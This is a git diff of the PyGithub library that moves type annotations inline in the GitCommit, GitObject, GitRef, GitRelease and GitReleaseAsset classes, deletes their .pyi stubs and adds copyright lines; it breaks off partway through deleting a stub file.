mode 100644 index b3cc89c60b..0000000000 --- a/github/GitBlob.pyi +++ /dev/null @@ -1,18 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject - -class GitBlob(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def content(self) -> str: ... - @property - def encoding(self) -> str: ... - @property - def sha(self) -> str: ... - @property - def size(self) -> int: ... - @property - def url(self) -> str: ... diff --git a/github/GitCommit.py b/github/GitCommit.py index 601aa4fa53..f2b96401e2 100644 --- a/github/GitCommit.py +++ b/github/GitCommit.py @@ -9,6 +9,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,119 +35,92 @@ # # ################################################################################ +from __future__ import annotations + +from typing import Any + import github.GitAuthor import github.GithubObject import github.GitTree +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class GitCommit(github.GithubObject.CompletableGithubObject): +class GitCommit(CompletableGithubObject): """ This class represents GitCommits. The reference can be found here https://docs.github.com/en/rest/reference/git#commits """ - def __repr__(self): + def _initAttributes(self) -> None: + self._author: Attribute[github.GitAuthor.GitAuthor] = NotSet + self._committer: Attribute[github.GitAuthor.GitAuthor] = NotSet + self._html_url: Attribute[str] = NotSet + self._message: Attribute[str] = NotSet + self._parents: Attribute[list[GitCommit]] = NotSet + self._sha: Attribute[str] = NotSet + self._tree: Attribute[github.GitTree.GitTree] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property - def author(self): - """ - :type: :class:`github.GitAuthor.GitAuthor` - """ + def author(self) -> github.GitAuthor.GitAuthor: self._completeIfNotSet(self._author) return self._author.value @property - def committer(self): - """ - :type: :class:`github.GitAuthor.GitAuthor` - """ + def committer(self) -> github.GitAuthor.GitAuthor: self._completeIfNotSet(self._committer) return self._committer.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def message(self): - """ - :type: string - """ + def message(self) -> str: self._completeIfNotSet(self._message) return self._message.value @property - def parents(self): - """ - :type: list of :class:`github.GitCommit.GitCommit` - """ + def parents(self) -> list[GitCommit]: self._completeIfNotSet(self._parents) return self._parents.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property - def tree(self): - """ - :type: :class:`github.GitTree.GitTree` - """ + def tree(self) -> github.GitTree.GitTree: self._completeIfNotSet(self._tree) return self._tree.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def _identity(self): + def _identity(self) -> str: return self.sha - def _initAttributes(self): - self._author = github.GithubObject.NotSet - self._committer = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._message = github.GithubObject.NotSet - self._parents = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._tree = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch - self._author = self._makeClassAttribute( - github.GitAuthor.GitAuthor, attributes["author"] - ) + self._author = self._makeClassAttribute(github.GitAuthor.GitAuthor, attributes["author"]) if "committer" in attributes: # pragma no branch - self._committer = self._makeClassAttribute( - github.GitAuthor.GitAuthor, attributes["committer"] - ) + self._committer = self._makeClassAttribute(github.GitAuthor.GitAuthor, attributes["committer"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "parents" in attributes: # pragma no branch - self._parents = self._makeListOfClassesAttribute( - GitCommit, attributes["parents"] - ) + self._parents = self._makeListOfClassesAttribute(GitCommit, attributes["parents"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "tree" in attributes: # pragma no branch - self._tree = self._makeClassAttribute( - github.GitTree.GitTree, attributes["tree"] - ) + self._tree = self._makeClassAttribute(github.GitTree.GitTree, attributes["tree"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/GitCommit.pyi b/github/GitCommit.pyi deleted file mode 100644 index 360f91a268..0000000000 --- a/github/GitCommit.pyi +++ /dev/null @@ -1,28 +0,0 @@ -from typing import Any, Dict, List - -from github.GitAuthor import GitAuthor -from github.GithubObject import CompletableGithubObject -from github.GitTree import GitTree - -class GitCommit(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def author(self) -> GitAuthor: ... - @property - def committer(self) -> GitAuthor: ... - @property - def html_url(self) -> str: ... - @property - def message(self) -> str: ... - @property - def parents(self) -> List[GitCommit]: ... - @property - def sha(self) -> str: ... - @property - def tree(self) -> GitTree: ... - @property - def url(self) -> str: ... diff --git a/github/GitObject.py b/github/GitObject.py index 02eb49af41..be2b35628a 100644 --- a/github/GitObject.py +++ b/github/GitObject.py @@ -9,6 +9,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,44 +33,37 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class GitObject(github.GithubObject.NonCompletableGithubObject): + +class GitObject(NonCompletableGithubObject): """ This class represents GitObjects """ - def __repr__(self): + def _initAttributes(self) -> None: + self._sha: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: return self._sha.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: return self._type.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def _initAttributes(self): - self._sha = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "type" in attributes: # pragma no branch diff --git a/github/GitObject.pyi b/github/GitObject.pyi deleted file mode 100644 index a94b6bdb4f..0000000000 --- a/github/GitObject.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from typing import Dict - -from github.GithubObject import NonCompletableGithubObject - -class GitObject(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, str]) -> None: ... - @property - def sha(self) -> str: ... - @property - def type(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/GitRef.py b/github/GitRef.py index 96dbd35fd7..474062268d 100644 --- a/github/GitRef.py +++ b/github/GitRef.py @@ -9,6 +9,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,78 +36,65 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.GithubObject import github.GitObject +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional + +if TYPE_CHECKING: + from github.GitObject import GitObject -class GitRef(github.GithubObject.CompletableGithubObject): +class GitRef(CompletableGithubObject): """ This class represents GitRefs. The reference can be found here https://docs.github.com/en/rest/reference/git#references """ - def __repr__(self): + def _initAttributes(self) -> None: + self._object: Attribute[GitObject] = NotSet + self._ref: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"ref": self._ref.value}) @property - def object(self): - """ - :type: :class:`github.GitObject.GitObject` - """ + def object(self) -> GitObject: self._completeIfNotSet(self._object) return self._object.value @property - def ref(self): - """ - :type: string - """ + def ref(self) -> str: self._completeIfNotSet(self._ref) return self._ref.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/git/refs/{ref} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit(self, sha, force=github.GithubObject.NotSet): + def edit(self, sha: str, force: Opt[bool] = NotSet) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/git/refs/{ref} `_ - :param sha: string - :param force: bool - :rtype: None """ assert isinstance(sha, str), sha - assert force is github.GithubObject.NotSet or isinstance(force, bool), force - post_parameters = { - "sha": sha, - } - if force is not github.GithubObject.NotSet: - post_parameters["force"] = force - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + assert is_optional(force, bool), force + post_parameters = NotSet.remove_unset_items({"sha": sha, "force": force}) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def _initAttributes(self): - self._object = github.GithubObject.NotSet - self._ref = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "object" in attributes: # pragma no branch - self._object = self._makeClassAttribute( - github.GitObject.GitObject, attributes["object"] - ) + self._object = self._makeClassAttribute(github.GitObject.GitObject, attributes["object"]) if "ref" in attributes: # pragma no branch self._ref = self._makeStringAttribute(attributes["ref"]) if "url" in attributes: # pragma no branch diff --git a/github/GitRef.pyi b/github/GitRef.pyi deleted file mode 100644 index bb4fd10335..0000000000 --- a/github/GitRef.pyi +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Any, Dict, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.GitObject import GitObject - -class GitRef(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def delete(self) -> None: ... - def edit(self, sha: str, force: Union[bool, _NotSetType] = ...) -> None: ... - @property - def object(self) -> GitObject: ... - @property - def ref(self) -> str: ... - @property - def url(self) -> str: ... diff --git a/github/GitRelease.py b/github/GitRelease.py index 56f56ea287..9b47e52d26 100644 --- a/github/GitRelease.py +++ b/github/GitRelease.py @@ -1,5 +1,11 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2013 martinqt # +# Copyright 2014 Vincent Jacques # # Copyright 2015 Ed Holland # # Copyright 2016 Benjamin Whitney # # Copyright 2016 Jannis Gebauer # @@ -7,6 +13,7 @@ # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Daniel Kesler # +# Copyright 2018 Ggicci # # Copyright 2018 Kuba # # Copyright 2018 Maarten Fonville # # Copyright 2018 Shinichi TAMURA # @@ -14,6 +21,18 @@ # Copyright 2018 edquist # # Copyright 2018 nurupo # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Jesse Li # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Mikhail f. Shiryaev # +# Copyright 2023 Trim21 # +# Copyright 2023 Wojciech Barczyński <104033489+WojciechBarczynski@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,188 +52,154 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime from os.path import basename +from typing import Any, BinaryIO -import github.GithubObject import github.GitReleaseAsset import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt +from github.PaginatedList import PaginatedList from . import Consts -class GitRelease(github.GithubObject.CompletableGithubObject): +class GitRelease(CompletableGithubObject): """ This class represents GitReleases. The reference can be found here https://docs.github.com/en/rest/reference/repos#releases """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._body: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + self._tag_name: Attribute[str] = NotSet + self._target_commitish: Attribute[str] = NotSet + self._draft: Attribute[bool] = NotSet + self._prerelease: Attribute[bool] = NotSet + self._generate_release_notes: Attribute[bool] = NotSet + self._author: Attribute[github.NamedUser.NamedUser] = NotSet + self._url: Attribute[str] = NotSet + self._upload_url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._published_at: Attribute[datetime] = NotSet + self._tarball_url: Attribute[str] = NotSet + self._zipball_url: Attribute[str] = NotSet + self._assets: Attribute[list[github.GitReleaseAsset.GitReleaseAsset]] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def tag_name(self): - """ - :type: string - """ + def tag_name(self) -> str: self._completeIfNotSet(self._tag_name) return self._tag_name.value @property - def target_commitish(self): - """ - :type: string - """ + def target_commitish(self) -> str: self._completeIfNotSet(self._target_commitish) return self._target_commitish.value @property - def draft(self): - """ - :type: bool - """ + def draft(self) -> bool: self._completeIfNotSet(self._draft) return self._draft.value @property - def prerelease(self): - """ - :type: bool - """ + def prerelease(self) -> bool: self._completeIfNotSet(self._prerelease) return self._prerelease.value @property - def author(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def author(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._author) return self._author.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def published_at(self): - """ - :type: datetime.datetime - """ + def published_at(self) -> datetime: self._completeIfNotSet(self._published_at) return self._published_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def upload_url(self): - """ - :type: string - """ + def upload_url(self) -> str: self._completeIfNotSet(self._upload_url) return self._upload_url.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def tarball_url(self): - """ - :type: string - """ + def tarball_url(self) -> str: self._completeIfNotSet(self._tarball_url) return self._tarball_url.value @property - def zipball_url(self): - """ - :type: string - """ + def zipball_url(self) -> str: self._completeIfNotSet(self._zipball_url) return self._zipball_url.value @property - def assets(self): - """ - :type: list of :class:`github.GitReleaseAsset.GitReleaseAsset` - """ + def assets(self) -> list[github.GitReleaseAsset.GitReleaseAsset]: self._completeIfNotSet(self._assets) return self._assets.value - def delete_release(self): + def delete_release(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/releases/{release_id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def update_release( self, - name, - message, - draft=False, - prerelease=False, - tag_name=github.GithubObject.NotSet, - target_commitish=github.GithubObject.NotSet, - ): + name: str, + message: str, + draft: bool = False, + prerelease: bool = False, + tag_name: Opt[str] = NotSet, + target_commitish: Opt[str] = NotSet, + ) -> GitRelease: """ :calls: `PATCH /repos/{owner}/{repo}/releases/{release_id} `_ - :param name: string - :param message: string - :param draft: bool - :param prerelease: bool - :param tag_name: string - :param target_commitish: string - :rtype: :class:`github.GitRelease.GitRelease` """ - assert tag_name is github.GithubObject.NotSet or isinstance( - tag_name, str - ), "tag_name must be a str/unicode object" - assert target_commitish is github.GithubObject.NotSet or isinstance( + assert tag_name is NotSet or isinstance(tag_name, str), "tag_name must be a str/unicode object" + assert target_commitish is NotSet or isinstance( target_commitish, str ), "target_commitish must be a str/unicode object" assert isinstance(name, str), name assert isinstance(message, str), message assert isinstance(draft, bool), draft assert isinstance(prerelease, bool), prerelease - if tag_name is github.GithubObject.NotSet: + if tag_name is NotSet: tag_name = self.tag_name post_parameters = { "tag_name": tag_name, @@ -225,41 +210,28 @@ def update_release( } # Do not set target_commitish to self.target_commitish when omitted, just don't send it # altogether in that case, in order to match the Github API behaviour. Only send it when set. - if target_commitish is not github.GithubObject.NotSet: + if target_commitish is not NotSet: post_parameters["target_commitish"] = target_commitish - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) - return github.GitRelease.GitRelease( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) + return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) def upload_asset( - self, - path, - label="", - content_type=github.GithubObject.NotSet, - name=github.GithubObject.NotSet, - ): + self, path: str, label: str = "", content_type: Opt[str] = NotSet, name: Opt[str] = NotSet + ) -> github.GitReleaseAsset.GitReleaseAsset: """ :calls: `POST https:///repos/{owner}/{repo}/releases/{release_id}/assets `_ - :param path: string - :param label: string - :param content_type: string - :param name: string - :rtype: :class:`github.GitReleaseAsset.GitReleaseAsset` """ assert isinstance(path, str), path assert isinstance(label, str), label - assert name is github.GithubObject.NotSet or isinstance(name, str), name + assert name is NotSet or isinstance(name, str), name - post_parameters = {"label": label} - if name is github.GithubObject.NotSet: + post_parameters: dict[str, Any] = {"label": label} + if name is NotSet: post_parameters["name"] = basename(path) else: post_parameters["name"] = name - headers = {} - if content_type is not github.GithubObject.NotSet: + headers: dict[str, Any] = {} + if content_type is not NotSet: headers["Content-Type"] = content_type resp_headers, data = self._requester.requestBlobAndCheck( "POST", @@ -268,38 +240,28 @@ def upload_asset( headers=headers, input=path, ) - return github.GitReleaseAsset.GitReleaseAsset( - self._requester, resp_headers, data, completed=True - ) + return github.GitReleaseAsset.GitReleaseAsset(self._requester, resp_headers, data, completed=True) def upload_asset_from_memory( self, - file_like, - file_size, - name, - content_type=github.GithubObject.NotSet, - label="", - ): + file_like: BinaryIO, + file_size: int, + name: str, + content_type: Opt[str] = NotSet, + label: str = "", + ) -> github.GitReleaseAsset.GitReleaseAsset: """Uploads an asset. Unlike ``upload_asset()`` this method allows you to pass in a file-like object to upload. Note that this method is more strict and requires you to specify the ``name``, since there's no file name to infer these from. :calls: `POST https:///repos/{owner}/{repo}/releases/{release_id}/assets `_ :param file_like: binary file-like object, such as those returned by ``open("file_name", "rb")``. At the very minimum, this object must implement ``read()``. :param file_size: int, size in bytes of ``file_like`` - :param content_type: string - :param name: string - :param label: string - :rtype: :class:`github.GitReleaseAsset.GitReleaseAsset` """ assert isinstance(name, str), name assert isinstance(file_size, int), file_size assert isinstance(label, str), label post_parameters = {"label": label, "name": name} - content_type = ( - content_type - if content_type is not github.GithubObject.NotSet - else Consts.defaultMediaType - ) + content_type = content_type if content_type is not NotSet else Consts.defaultMediaType headers = {"Content-Type": content_type, "Content-Length": str(file_size)} resp_headers, data = self._requester.requestMemoryBlobAndCheck( @@ -309,14 +271,11 @@ def upload_asset_from_memory( headers=headers, file_like=file_like, ) - return github.GitReleaseAsset.GitReleaseAsset( - self._requester, resp_headers, data, completed=True - ) + return github.GitReleaseAsset.GitReleaseAsset(self._requester, resp_headers, data, completed=True) - def get_assets(self): + def get_assets(self) -> PaginatedList[github.GitReleaseAsset.GitReleaseAsset]: """ :calls: `GET /repos/{owner}/{repo}/releases/{release_id}/assets `_ - :rtype: :class:`github.PaginatedList.PaginatedList` """ return github.PaginatedList.PaginatedList( github.GitReleaseAsset.GitReleaseAsset, @@ -325,25 +284,7 @@ def get_assets(self): None, ) - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._tag_name = github.GithubObject.NotSet - self._target_commitish = github.GithubObject.NotSet - self._draft = github.GithubObject.NotSet - self._prerelease = github.GithubObject.NotSet - self._author = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._upload_url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._published_at = github.GithubObject.NotSet - self._tarball_url = github.GithubObject.NotSet - self._zipball_url = github.GithubObject.NotSet - self._assets = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: self._id = self._makeIntAttribute(attributes["id"]) if "body" in attributes: @@ -353,17 +294,15 @@ def _useAttributes(self, attributes): if "tag_name" in attributes: self._tag_name = self._makeStringAttribute(attributes["tag_name"]) if "target_commitish" in attributes: - self._target_commitish = self._makeStringAttribute( - attributes["target_commitish"] - ) + self._target_commitish = self._makeStringAttribute(attributes["target_commitish"]) if "draft" in attributes: self._draft = self._makeBoolAttribute(attributes["draft"]) if "prerelease" in attributes: self._prerelease = self._makeBoolAttribute(attributes["prerelease"]) + if "generate_release_notes" in attributes: + self._generate_release_notes = self._makeBoolAttribute(attributes["generate_release_notes"]) if "author" in attributes: - self._author = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["author"] - ) + self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) if "upload_url" in attributes: diff --git a/github/GitRelease.pyi b/github/GitRelease.pyi deleted file mode 100644 index 00e633616d..0000000000 --- a/github/GitRelease.pyi +++ /dev/null @@ -1,62 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.GitReleaseAsset import GitReleaseAsset -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList - -class GitRelease(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def assets(self) -> list[GitReleaseAsset]: ... - @property - def author(self) -> NamedUser: ... - @property - def body(self) -> str: ... - @property - def created_at(self) -> datetime: ... - def delete_release(self) -> None: ... - @property - def draft(self) -> bool: ... - def get_assets(self) -> PaginatedList[GitReleaseAsset]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def prerelease(self) -> bool: ... - @property - def published_at(self) -> datetime: ... - @property - def tag_name(self) -> str: ... - @property - def tarball_url(self) -> str: ... - @property - def target_commitish(self) -> str: ... - @property - def title(self) -> str: ... - def update_release( - self, - name: str, - message: str, - draft: bool = ..., - prerelease: bool = ..., - tag_name: Union[str, _NotSetType] = ..., - target_commitish: Union[str, _NotSetType] = ..., - ) -> GitRelease: ... - def upload_asset( - self, - path: str, - label: str = ..., - content_type: Union[_NotSetType, str] = ..., - name: Union[_NotSetType, str] = ..., - ) -> GitReleaseAsset: ... - @property - def upload_url(self) -> str: ... - @property - def url(self) -> str: ... - @property - def zipball_url(self) -> str: ... diff --git a/github/GitReleaseAsset.py b/github/GitReleaseAsset.py index 832e10b234..c405278484 100644 --- a/github/GitReleaseAsset.py +++ b/github/GitReleaseAsset.py @@ -1,9 +1,23 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -23,149 +37,115 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from datetime import datetime +from typing import Any -class GitReleaseAsset(github.GithubObject.CompletableGithubObject): +import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet + + +class GitReleaseAsset(CompletableGithubObject): """ This class represents GitReleaseAssets. The reference can be found here https://docs.github.com/en/rest/reference/repos#releases """ - def __repr__(self): + def _initAttributes(self) -> None: + self._url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._label: Attribute[str] = NotSet + self._content_type: Attribute[str] = NotSet + self._state: Attribute[str] = NotSet + self._size: Attribute[int] = NotSet + self._download_count: Attribute[int] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._browser_download_url: Attribute[str] = NotSet + self._uploader: Attribute[github.NamedUser.NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"url": self.url}) @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def label(self): - """ - :type: string - """ + def label(self) -> str: self._completeIfNotSet(self._label) return self._label.value @property - def content_type(self): - """ - :type: string - """ + def content_type(self) -> str: self._completeIfNotSet(self._content_type) return self._content_type.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def size(self): - """ - :type: integer - """ + def size(self) -> int: self._completeIfNotSet(self._size) return self._size.value @property - def download_count(self): - """ - :type: integer - """ + def download_count(self) -> int: self._completeIfNotSet(self._download_count) return self._download_count.value @property - def created_at(self): - """ - :type: datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def updated_at(self): - """ - :type: datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def browser_download_url(self): - """ - :type: string - """ + def browser_download_url(self) -> str: self._completeIfNotSet(self._browser_download_url) return self._browser_download_url.value @property - def uploader(self): - """ - :type: github.NamedUser.NamedUser - """ + def uploader(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._uploader) return self._uploader.value - def delete_asset(self): + def delete_asset(self) -> bool: """ Delete asset from the release. - :rtype: bool """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) return True - def update_asset(self, name, label=""): + def update_asset(self, name: str, label: str = "") -> GitReleaseAsset: """ Update asset metadata. - :rtype: github.GitReleaseAsset.GitReleaseAsset """ assert isinstance(name, str), name assert isinstance(label, str), label post_parameters = {"name": name, "label": label} - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) return GitReleaseAsset(self._requester, headers, data, completed=True) - def _initAttributes(self): - self._url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._label = github.GithubObject.NotSet - self._uploader = github.GithubObject.NotSet - self._content_type = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._download_count = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._browser_download_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "id" in attributes: # pragma no branch @@ -175,9 +155,7 @@ def _useAttributes(self, attributes): if "label" in attributes: # pragma no branch self._label = self._makeStringAttribute(attributes["label"]) if "uploader" in attributes: # pragma no branch - self._uploader = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["uploader"] - ) + self._uploader = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["uploader"]) if "content_type" in attributes: # pragma no branch self._content_type = self._makeStringAttribute(attributes["content_type"]) if "state" in attributes: # pragma no branch @@ -191,6 +169,4 @@ def _useAttributes(self, attributes): if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "browser_download_url" in attributes: # pragma no branch - self._browser_download_url = self._makeStringAttribute( - attributes["browser_download_url"] - ) + self._browser_download_url = self._makeStringAttribute(attributes["browser_download_url"]) diff --git a/github/GitReleaseAsset.pyi b/github/GitReleaseAsset.pyi deleted file mode 100644 index 26370cdc93..0000000000 --- a/github/GitReleaseAsset.pyi +++ /dev/null @@ -1,36 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Union - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class GitReleaseAsset(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def browser_download_url(self) -> 